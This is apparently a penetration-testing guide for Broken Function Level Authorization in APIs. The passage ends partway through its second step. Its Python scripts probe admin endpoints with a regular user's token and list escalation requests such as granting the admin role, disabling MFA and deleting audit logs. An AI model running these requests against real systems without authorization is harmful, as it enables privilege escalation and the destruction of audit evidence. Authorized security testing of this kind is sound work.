Exploiting Broken Function Level Authorization

When to Use

• Testing whether regular users can access administrative API endpoints by direct URL access
• Assessing APIs for vertical privilege escalation where users can invoke functions above their role
• Evaluating if API gateways and middleware consistently enforce function-level access controls
• Testing role-based access control (RBAC) implementation across all API endpoints and HTTP methods
• Validating that API documentation does not expose admin endpoint paths that lack authorization

Do not use without written authorization. BFLA testing involves attempting to execute administrative functions with unauthorized credentials.

Prerequisites

• Written authorization specifying target API and administrative functions in scope
• Test accounts at multiple privilege levels: regular user, moderator, admin, super-admin
• API documentation (OpenAPI/Swagger spec) that may list admin endpoints
• Burp Suite Professional for request interception and manipulation
• Python 3.10+ with requests library
• Knowledge of common admin endpoint naming conventions

Workflow

Step 1: Administrative Endpoint Discovery

import requests
import itertools

BASE_URL = "https://target-api.example.com"
regular_user_headers = {"Authorization": "Bearer <regular_user_token>"}
admin_headers = {"Authorization": "Bearer <admin_token>"}

# Common admin endpoint patterns
ADMIN_PATH_PATTERNS = [
    "/api/v1/admin",
    "/api/v1/admin/users",
    "/api/v1/admin/settings",
    "/api/v1/admin/config",
    "/api/v1/admin/logs",
    "/api/v1/admin/dashboard",
    "/api/v1/admin/reports",
    "/api/v1/admin/billing",
    "/api/v1/manage",
    "/api/v1/management",
    "/api/v1/internal",
    "/api/v1/internal/users",
    "/api/v1/system",
    "/api/v1/system/health",
    "/api/v1/console",
    "/api/v1/users/admin",
    "/api/v1/roles",
    "/api/v1/permissions",
    "/api/v1/audit",
    "/api/v1/audit/logs",
    "/api/internal/",
    "/admin/api/",
    "/management/api/",
    "/backoffice/api/",
]

# Administrative function patterns (POST/PUT/DELETE operations)
ADMIN_FUNCTIONS = [
    ("POST", "/api/v1/users", {"role": "admin"}),             # Create user with admin role
    ("PUT", "/api/v1/users/1/role", {"role": "admin"}),        # Change user role
    ("DELETE", "/api/v1/users/1002", None),                     # Delete another user
    ("POST", "/api/v1/settings", {"maintenance": True}),       # Modify system settings
    ("GET", "/api/v1/users?role=admin", None),                  # List admin users
    ("POST", "/api/v1/export/users", None),                     # Export user data
    ("POST", "/api/v1/users/1002/disable", None),               # Disable user account
    ("POST", "/api/v1/users/1002/reset-password", None),        # Force password reset
    ("PUT", "/api/v1/config/security", {"mfa_required": False}),# Disable security
    ("DELETE", "/api/v1/audit/logs", None),                     # Delete audit logs
]

# Phase 1: Discover accessible admin endpoints
print("Phase 1: Admin Endpoint Discovery")
for path in ADMIN_PATH_PATTERNS:
    for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]:
        try:
            resp = requests.request(method, f"{BASE_URL}{path}",
                                  headers=regular_user_headers, timeout=5)
            if resp.status_code not in (401, 403, 404, 405):
                print(f"  [ACCESSIBLE] {method} {path} -> {resp.status_code}")
        except requests.exceptions.RequestException:
            pass

Step 2: Role-Based Function Testing

# Define roles and their expected access levels
ROLES = {
    "unauthenticated": {},
    "regular_user": {"Authorization": "Bearer <regular_token>"},
    "moderator": {"Authorization": "Bearer <moderator_token>"},
    "admin": {"Authorization": "Bearer <admin_token>"},
}

# Endpoints with expected minimum role requirement
ROLE_MATRIX = [
    # (method, endpoint, body, minimum_role)
    ("GET", "/api/v1/users/me", None, "regular_user"),
    ("GET", "/api/v1/users", None, "admin"),
    ("POST", "/api/v1/users", {"email":"x@y.com","name":"X","role":"user"}, "admin"),
    ("DELETE", "/api/v1/users/1002", None, "admin"),
    ("GET", "/api/v1/admin/settings", None, "admin"),
    ("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"),
    ("GET", "/api/v1/reports/financial", None, "admin"),
    ("POST", "/api/v1/users/1002/ban", None, "moderator"),

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